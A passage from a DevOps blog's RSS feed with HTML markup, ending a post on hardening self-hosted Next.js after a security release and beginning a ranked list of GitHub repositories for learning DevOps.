          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-lessons-for-your-architecture"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A release with four middleware bypasses in one go is a strong hint about how to think about authorization in App Router apps.</p>
<p><strong>Defense in depth, not middleware only.</strong> Middleware is fast and convenient. It is also one match function away from being routed around. Production-grade authorization for App Router apps belongs in two places at minimum: the middleware (cheap, early reject) and the route handler or page component (authoritative, runs after the framework has resolved the actual page being served). The dynamic route parameter injection bug is a textbook case where the middleware match was correct on the URL the user sent, but the page logic ran on a different parameter.</p>
<p><strong>Self-hosted means you own the perimeter.</strong> The WebSocket SSRF and the Cache Components DoS are sharper for self-hosted deployments. If you are the one running the Next.js process behind nginx or a Kubernetes ingress, you also get to decide which headers and protocols pass through. Strip <code>Next-Resume</code> from inbound requests. Block WebSocket upgrades on routes that do not need them. Keep IMDSv2 enforced on EC2 (or the equivalent on GCP and Azure) so an SSRF cannot pull a session token from the metadata service.</p>
<p><strong>Treat shared caches as untrusted output.</strong> Two of the moderate bugs and both lows involve cache poisoning. If you put a CDN or a shared cache in front of Next.js, every header your app reflects into HTML or sets as a cache key is a potential surface. Strip request headers you do not own at the edge. Set explicit <code>Cache-Control</code> and <code>Vary</code> so the cache is not deciding for you.</p>
<p><strong>Patch cadence is part of the architecture.</strong> The patches are non-breaking. The pain of catching up after skipping six security releases is much higher than the pain of merging a Dependabot PR each time one lands. If you do not have automated dependency updates wired up, the cost lands on a future Monday morning instead.</p>
<h2 id="h2-self-hosting-checklist" class="group relative scroll-mt-24">
        <a href="#h2-self-hosting-checklist" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Self-Hosting Checklist
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-self-hosting-checklist"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>If you self-host Next.js (or you&#39;re about to), here is what to verify alongside the upgrade:</p>
<ul>
<li><input disabled="" type="checkbox"> Run a fresh build and confirm no warnings about removed APIs in the patch notes.</li>
<li><input disabled="" type="checkbox"> Audit every <code>middleware.ts</code> matcher. If a matcher uses path patterns only, add an authorization check inside the route or page that is independent of the path.</li>
<li><input disabled="" type="checkbox"> Confirm your reverse proxy strips <code>Next-Resume</code> and any other internal Next.js headers from inbound requests.</li>
<li><input disabled="" type="checkbox"> Confirm WebSocket upgrades are only allowed on routes that need them.</li>
<li><input disabled="" type="checkbox"> Pin a minimum Next.js version in a renovate or dependabot config so future security releases land automatically.</li>
<li><input disabled="" type="checkbox"> Subscribe to the <a href="https://github.com/vercel/next.js/security/advisories">Next.js GitHub security advisories</a> or the <a href="https://github.com/advisories">GitHub Security Lab feed</a> so the next batch does not surprise you.</li>
</ul>
<h2 id="h2-where-to-run-your-patched-app" class="group relative scroll-mt-24">
        <a href="#h2-where-to-run-your-patched-app" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Where to Run Your Patched App
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-where-to-run-your-patched-app"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Self-hosting Next.js is a real choice in 2026. You get to control the perimeter, you avoid platform lock-in, and you can size compute to your actual traffic instead of paying for cold-start headroom you do not use.</p>
<p><a href="https://m.do.co/c/2a9bba940f39">DigitalOcean App Platform</a> is a solid landing spot if you want a managed runtime that still behaves like a server you understand. Native Next.js support, git-push deployments, predictable pricing, and you keep control over the network surface that the SSRF and DoS advisories above care about. New accounts get $200 in credits, which is enough to run a small production app for a few months while you validate the move.</p>
<p><a href="https://m.do.co/c/2a9bba940f39">Sign up for DigitalOcean</a> if you want to test it out, or pair the App Platform with a small Droplet for the bits of your stack that need a real VM.</p>
<h2 id="h2-wrap-up" class="group relative scroll-mt-24">
        <a href="#h2-wrap-up" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Wrap-Up
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-wrap-up"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Thirteen advisories in one release is a lot, but the rollout path is short: install the latest patch on your current major, redeploy, and stop relying on middleware alone for authorization. The middleware bypass family is the one to internalize beyond this single patch. Routes resolve through more transports than the URL the user types, and your auth model needs to be invariant to which transport handled the request.</p>
<p>If you operate Next.js anywhere reachable from the internet, this one is not optional. Patch today.</p>
<h3 id="h3-reference-links" class="group relative scroll-mt-24">
        <a href="#h3-reference-links" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Reference Links
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-reference-links"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><ul>
<li><a href="https://github.com/vercel/next.js/releases/tag/v16.2.6">Next.js 16.2.6 release notes</a></li>
<li><a href="https://github.com/vercel/next.js/releases/tag/v15.5.18">Next.js 15.5.18 release notes</a></li>
<li><a href="https://github.com/vercel/next.js/security/advisories">Next.js security advisories</a></li>
<li><a href="https://x.com/nextjs/status/2052489312944759202">Vercel announcement (X)</a></li>
<li><a href="https://m.do.co/c/2a9bba940f39">DigitalOcean App Platform ($200 credit)</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title><![CDATA[10 GitHub Repositories That Will Actually Teach You DevOps in 2026]]></title>
      <link>https://devops.anhp.site/posts/top-github-devops-learning-repos-2026</link>
      <description><![CDATA[Most "top DevOps repos" lists are recycled awesome-list links. This one is a curated set of repositories that will move the needle on your DevOps skills, with star counts, who each one is for, and how to actually use it.]]></description>
      <pubDate>Tue, 05 May 2026 16:30:00 GMT</pubDate>
      <guid isPermaLink="true">https://devops.anhp.site/posts/top-github-devops-learning-repos-2026</guid>
      <category><![CDATA[DevOps]]></category>
      
      <category><![CDATA[devops]]></category><category><![CDATA[learning]]></category><category><![CDATA[github]]></category><category><![CDATA[kubernetes]]></category><category><![CDATA[sre]]></category><category><![CDATA[career]]></category>
      <content:encoded><![CDATA[<p>There are roughly a thousand &quot;top DevOps repos&quot; listicles, and most of them are the same five awesome-lists in a different order. The problem with awesome-lists is that they are link directories. They tell you where to look, not what to do. If you want to actually get better at DevOps, you need a different shape of repo: ones with exercises, opinionated learning paths, hands-on demos, and source you can read and learn from.</p>
<p>So here are ten GitHub repositories that have moved real engineers from &quot;I have heard of Kubernetes&quot; to &quot;I run it in production.&quot; We will start with the one we maintain on this site, then walk through the rest in order of star count, with notes on who each one is for and how to get the most out of it.</p>
<h2 id="h2-tldr" class="group relative scroll-mt-24">
        <a href="#h2-tldr" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          TLDR
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-tldr"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><table>
<thead>
<tr>
<th>#</th>
<th>Repo</th>
<th>Stars</th>
<th>Best for</th>
</tr>
</thead>
<tbody><tr>
<td>1</td>
<td><a href="https://github.com/The-DevOps-Daily/devops-daily">The-DevOps-Daily/devops-daily</a></td>
<td>1k+</td>
<td>Tutorials, exercises, and quizzes across the stack</td>
</tr>
<tr>
<td>2</td>
<td><a href="https://github.com/nilbuild/developer-roadmap">nilbuild/developer-roadmap</a></td>
<td>354k</td>
<td>Visual roadmap to plan your learning</td>
</tr>
<tr>
<td>3</td>
<td><a href="https://github.com/bregman-arie/devops-exercises">bregman-arie/devops-exercises</a></td>
<td>82k</td>
<td>Interview prep and practice questions</td>
</tr>
<tr>
<td>4</td>
<td><a href="https://github.com/kelseyhightower/kubernetes-the-hard-way">kelseyhightower/kubernetes-the-hard-way</a></td>
<td>48k</td>
<td>Building Kubernetes from scratch</td>
</tr>
<tr>
<td>5</td>
<td><a href="https://github.com/MichaelCade/90DaysOfDevOps">MichaelCade/90DaysOfDevOps</a></td>
<td>29k</td>
<td>A structured 90-day plan</td>
</tr>
<tr>
<td>6</td>
<td><a href="https://github.com/milanm/DevOps-Roadmap">milanm/DevOps-Roadmap</a></td>
<td>19k</td>
<td>Roadmap with linked study resources</td>
</tr>
<tr>
<td>7</td>
<td><a href="https://github.com/ramitsurana/awesome-kubernetes">ramitsurana/awesome-kubernetes</a></td>
<td>16k</td>
<td>Curated Kubernetes deep-dive material</td>
</tr>
<tr>
<td>8</td>
<td><a href="https://github.com/dastergon/awesome-sre">dastergon/awesome-sre</a></td>
<td>13k</td>
<td>SRE-specific reading list</td>
</tr>
<tr>
<td>9</td>
<td><a href="https://github.com/stefanprodan/podinfo">stefanprodan/podinfo</a></td>
<td>6k</td>
<td>A real microservice to deploy with GitOps</td>
</tr>
<tr>
<td>10</td>
<td><a href="https://github.com/wmariuss/awesome-devops">wmariuss/awesome-devops</a></td>
<td>4k</td>
<td>Broader DevOps tooling and practices</td>
</tr>
</tbody></table>
<p>Star counts are pulled fresh from the GitHub API as of May 2026.</p>
<h2 id="h2-1-the-devops-dailydevops-daily" class="group relative scroll-mt-24">
        <a href="#h2-1-the-devops-dailydevops-daily" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          1. The-DevOps-Daily/devops-daily
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-1-the-devops-dailydevops-daily"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/The-DevOps-Daily/devops-daily">github.com/The-DevOps-Daily/devops-daily</a>. the source for everything you read on this site, fully open source.</p>
<p>We did not put ourselves at the top because we own the site. We put ourselves at the top because the way the repo is structured is a fast loop: every blog post, exercise, quiz, flashcard, checklist, and interview question is a markdown or JSON file you can read, fork, and PR into. If you find a typo, a broken command, or an outdated CLI flag, you can fix it. If you have a better explanation of how kubelet eviction works, you can add a card to the relevant flashcard deck.</p>
<p>How to use it:</p>
<ul>
<li>Browse the <code>content/</code> directory. Pick a topic you want to get better at and run through the exercise.</li>
<li>Use the quizzes for spaced retrieval. Repeat until you stop getting things wrong.</li>
<li>Submit a PR when you find something to improve. The maintainers (us) review fast and merge most of the time.</li>
</ul>
<p>Best for engineers who learn by doing, contributing, and seeing the underlying source of every lesson.</p>
<h2 id="h2-2-nilbuilddeveloper-roadmap" class="group relative scroll-mt-24">
        <a href="#h2-2-nilbuilddeveloper-roadmap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          2. nilbuild/developer-roadmap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-2-nilbuilddeveloper-roadmap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/nilbuild/developer-roadmap">github.com/nilbuild/developer-roadmap</a>. 354k stars. Originally <code>kamranahmedse/developer-roadmap</code>, now under the <code>nilbuild</code> org. The DevOps roadmap is at <a href="https://roadmap.sh/devops">roadmap.sh/devops</a>.</p>
<p>This is a visual map of the skills, tools, and concepts that make up a DevOps career. It is the single best document on the internet for answering &quot;what should I learn next?&quot; without reinventing your own learning plan from scratch.</p>
<p>How to use it:</p>
<ul>
<li>Open the DevOps roadmap. Identify the area you are weakest in.</li>
<li>Click any node to get a short explanation, links, and a checklist.</li>
<li>Mark items as you go. The site keeps your progress in localStorage if you do not sign up.</li>
</ul>
<p>Best for people who feel scattered and want a single picture of the field.</p>
<h2 id="h2-3-bregman-ariedevops-exercises" class="group relative scroll-mt-24">
        <a href="#h2-3-bregman-ariedevops-exercises" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          3. bregman-arie/devops-exercises
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-3-bregman-ariedevops-exercises"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/bregman-arie/devops-exercises">github.com/bregman-arie/devops-exercises</a>. 82k stars. Maintained by Arie Bregman, ex-Red Hat.</p>
<p>This repository is the reason a lot of engineers passed their DevOps interviews. It is hundreds of practical questions and exercises across Linux, Jenkins, AWS, SRE, Prometheus, Docker, Python, Ansible, Git, Kubernetes, Terraform, OpenStack, SQL, NoSQL, Azure, GCP, and more. Each topic has a mix of explanation questions (&quot;What is X and when do you use it?&quot;) and hands-on exercises (&quot;Write the Terraform module that does X&quot;).</p>
<p>How to use it:</p>
<ul>
<li>Pick a topic. Try to answer the questions out loud or in writing without looking at the answers.</li>
<li>Star the ones you got wrong. Come back to them in a week.</li>
<li>Use it as a barometer. If you can answer most of the Kubernetes section without help, you know your Kubernetes is solid.</li>
</ul>
<p>Best for interview preparation and finding gaps in your knowledge.</p>
<h2 id="h2-4-kelseyhightowerkubernetes-the-hard-way" class="group relative scroll-mt-24">
        <a href="#h2-4-kelseyhightowerkubernetes-the-hard-way" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          4. kelseyhightower/kubernetes-the-hard-way
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-4-kelseyhightowerkubernetes-the-hard-way"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/kelseyhightower/kubernetes-the-hard-way">github.com/kelseyhightower/kubernetes-the-hard-way</a>. 48k stars. The repo description is honest: &quot;Bootstrap Kubernetes the hard way. No scripts.&quot;</p>
<p>If you have only ever used <code>gcloud container clusters create</code> or <code>eksctl</code>, you have used Kubernetes. You have not learned it. This walkthrough has you stand up a control plane and worker nodes by hand, with TLS certificates you generated yourself, etcd you configured yourself, and a kubelet you registered yourself.</p>
<p>It is also a primary reason Kelsey Hightower has the reputation he has, which is its own kind of education.</p>
<p>How to use it:</p>
<ul>
<li>Block out a weekend. The full walkthrough takes 6 to 10 hours the first time.</li>
<li>Do not copy commands. Type them. Read what they do before you run them.</li>
<li>When something breaks (and it will), debug it. That is the entire point.</li>
</ul>
<p>Best for engineers who want a deep mental model of Kubernetes internals.</p>
<h2 id="h2-5-michaelcade90daysofdevops" class="group relative scroll-mt-24">
        <a href="#h2-5-michaelcade90daysofdevops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          5. MichaelCade/90DaysOfDevOps
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-5-michaelcade90daysofdevops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/MichaelCade/90DaysOfDevOps">github.com/MichaelCade/90DaysOfDevOps</a>. 29k stars. Three years of community-curated 90-day plans.</p>
<p>This started as one engineer&#39;s public learning project: 90 days, one DevOps topic per day, write what you learned. It exploded, and is now a structured tour through Linux, networking, programming, containers, Kubernetes, IaC, observability, databases, and serverless across three different yearly cohorts. The format is one folder per day with notes, diagrams, and links.</p>
<p>How to use it:</p>
<ul>
<li>Treat it as a TV series, not a textbook. Watch one &quot;episode&quot; a day for 90 days.</li>
<li>Skip topics you already know. Spend extra time on the ones that feel uncomfortable.</li>
<li>Read previous cohorts&#39; notes when you finish a day. The 2022, 2023, and 2024 versions cover slightly different angles on the same material.</li>
</ul>
<p>Best for engineers early in their career who want a forced curriculum.</p>
<h2 id="h2-6-milanmdevops-roadmap" class="group relative scroll-mt-24">
        <a href="#h2-6-milanmdevops-roadmap" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          6. milanm/DevOps-Roadmap
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-6-milanmdevops-roadmap"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/milanm/DevOps-Roadmap">github.com/milanm/DevOps-Roadmap</a>. 19k stars. A different style of roadmap from #2.</p>
<p>Where the nilbuild roadmap is a visual node graph, this one is a long markdown document with curated links, books, courses, and YouTube videos for every step of the path. It is heavier on resources, lighter on the conceptual map.</p>
<p>How to use it:</p>
<ul>
<li>Read the introduction. Identify which &quot;phase&quot; of the roadmap you are at.</li>
<li>Pick one resource per concept. Do not read all five linked resources for the same topic. Pick the format that matches how you learn best.</li>
<li>Use the prompts at the end of each section as a checklist before moving on.</li>
</ul>
<p>Best for self-taught engineers building their own curriculum.</p>
<h2 id="h2-7-ramitsuranaawesome-kubernetes" class="group relative scroll-mt-24">
        <a href="#h2-7-ramitsuranaawesome-kubernetes" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          7. ramitsurana/awesome-kubernetes
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-7-ramitsuranaawesome-kubernetes"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/ramitsurana/awesome-kubernetes">github.com/ramitsurana/awesome-kubernetes</a>. 16k stars. The most thorough Kubernetes-specific awesome-list.</p>
<p>If your day job is Kubernetes-heavy and you want to specialize, this is the link directory you want. It has sections for everything: storage, networking, monitoring, security, multi-cluster, GitOps, service mesh, FinOps. Each link is annotated.</p>
<p>How to use it:</p>
<ul>
<li>Bookmark the page. Use it as a research starting point when you need to evaluate tools in a category.</li>
<li>Watch the commit log. New tools get added regularly, so it doubles as a &quot;what is happening in Kubernetes&quot; feed.</li>
</ul>
<p>Best for Kubernetes-track engineers and platform teams researching tools.</p>
<h2 id="h2-8-dastergonawesome-sre" class="group relative scroll-mt-24">
        <a href="#h2-8-dastergonawesome-sre" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          8. dastergon/awesome-sre
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-8-dastergonawesome-sre"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/dastergon/awesome-sre">github.com/dastergon/awesome-sre</a>. 13k stars. The SRE-flavored cousin.</p>
<p>DevOps and SRE overlap, but the SRE side weights toward reliability theory, incident response, observability, and the social engineering of running production systems. This repo is the curated reading list for that side: books (Google&#39;s SRE book, Charity Majors&#39; work), papers, postmortems, blog posts, conference talks, training courses.</p>
<p>How to use it:</p>
<ul>
<li>Read at least one published postmortem a week. The &quot;Postmortems&quot; section is gold.</li>
<li>The conference talks list is more useful than most paid SRE courses.</li>
<li>Pair it with <code>kelseyhightower/kubernetes-the-hard-way</code> if your SRE work is on a Kubernetes platform.</li>
</ul>
<p>Best for engineers moving into SRE or platform-engineering roles.</p>
<h2 id="h2-9-stefanprodanpodinfo" class="group relative scroll-mt-24">
        <a href="#h2-9-stefanprodanpodinfo" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          9. stefanprodan/podinfo
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-9-stefanprodanpodinfo"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/stefanprodan/podinfo">github.com/stefanprodan/podinfo</a>. 6k stars. A small Go web app that exists to be deployed.</p>
<p>This one is different from the others. podinfo is not a learning resource in the read-and-take-notes sense. It is a real microservice (Go, REST + gRPC, metrics, tracing, health checks) that is purpose-built to be the demo target in tutorials. It is what every Flux, Argo CD, Linkerd, Istio, and Cilium tutorial uses when they need a service to deploy. If you want to actually try a GitOps tool end-to-end, you build the platform, point it at podinfo&#39;s helm chart, and ship.</p>
<p>How to use it:</p>
<ul>
<li>Stand up a kind or k3d cluster locally.</li>
<li>Install Flux or Argo CD and point it at the podinfo chart.</li>
<li>Roll out a canary. Add Linkerd. Add Prometheus. Each thing you add lets you exercise a different platform skill on a service that already works.</li>
</ul>
<p>Best for engineers who learn by deploying, not reading.</p>
<h2 id="h2-10-wmariussawesome-devops" class="group relative scroll-mt-24">
        <a href="#h2-10-wmariussawesome-devops" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          10. wmariuss/awesome-devops
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-10-wmariussawesome-devops"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p><a href="https://github.com/wmariuss/awesome-devops">github.com/wmariuss/awesome-devops</a>. 4k stars. Smaller than <code>awesome-kubernetes</code>, broader in scope.</p>
